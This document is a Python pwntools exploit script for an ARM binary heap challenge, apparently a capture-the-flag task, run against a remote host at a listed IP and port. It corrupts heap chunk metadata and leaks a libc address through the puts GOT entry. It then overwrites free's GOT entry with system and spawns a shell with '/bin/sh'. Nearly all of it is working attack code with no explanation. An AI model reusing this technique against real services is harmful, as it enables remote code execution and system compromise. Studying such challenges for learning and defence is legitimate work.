1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
|
from pwn import *
import sys
context.binary = "./a.out"
LOCAL = False
if not LOCAL:
io = remote("121.36.58.215", 1337)
else:
io = process(["qemu-arm", "-g", "8080", "./a.out"])
elf = ELF("./a.out")
libc = ELF("./lib/libuClibc-1.0.34.so")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
global bps # Break Points
global gds # Gdb Debug Symbols
bps = []
gds = {}
def mydebug(p, s=''):
def _get_bstr():
global bps
b_str =""
for break_point in bps:
if type(break_point) == int:
b_str += "b *%s\n"%(hex(break_point))
elif type(break_point) == str:
b_str += "b %s\n"%(break_point)
else:
pause(p, "[_get_bstr] unsupported break point type : "+str(break_point))
return b_str
def _get_gds_str():
global gds
res = ""
for name in gds:
val = gds[name]
if type(name) != str:
pause(p, "[_get_gds_str] unsupported name type : "+str(type(name)))
if type(val) != int:
pause(p, "[_get_gds_str] unsupported val type : "+str(type(val)))
res += "set $%s=%d\n"%(name, gds[name])
return res
if not LOCAL:
return
gdb.attach(p, _get_bstr()+_get_gds_str()+s)
gds['chunk_info'] = 0x21068
gds['chunk_cnt'] = 0x2106C
gds['heap'] = 0x22010
# add
# bps.append(0x10884)
# free
# bps.append(0x10AA0)
# change
# bps.append(0x109A4)
bps.append(0x106F0)
mydebug(io,"target remote localhost:8080")
def show():
io.sendlineafter('>>> ','1')
def add(len,con):
io.sendlineafter('>>> ','2')
io.sendlineafter("Length:",str(len))
io.sendafter("Tag:",con)
def change(idx,len,con):
io.sendlineafter('>>> ','3')
io.sendlineafter("Index:",str(idx))
io.sendlineafter("Length:",str(len))
io.sendafter("Tag:",con)
def remove(idx):
io.sendlineafter('>>> ','4')
io.sendlineafter("Tag:",str(idx))
add(0x18,'a'*8)
add(0x18,'b'*8)
add(0x18,'c'*8)
add(0x21,'d'*8)
remove(1)
remove(2)
pay1 = 'xxxx'*7 + p32(0x21)+ p32(0x22) + 'xxxx'*6 + p32(0x21) + p32(0x2107d)
pay2 = 'xxxx'*7 + p32(0x21)+ p32(0x21072)
change(0,0x70,pay2)
add(0x18,'g'*8)
add(0x18,'h'*8)
add(0x18,'i'*8)
pay3 = 'a'*0x10 + p32(4) + p32(elf.got['puts'])
change(4,len(pay3),pay3)
show()
io.recvuntil("0 : ")
puts_addr = u32(io.recv(4))
success("puts:"+hex(puts_addr))
libc_base = puts_addr-libc.sym['puts']
success("libc:"+hex(libc_base))
sys_addr = libc_base + libc.sym['system']
pay4 = 'a'*0x10 + p32(4) + p32(elf.got['free'])
change(4,len(pay4),pay4)
change(0,4,p32(sys_addr))
binsh = "/bin/sh\x00"
change(1,len(binsh),binsh)
remove(1)
io.interactive()
|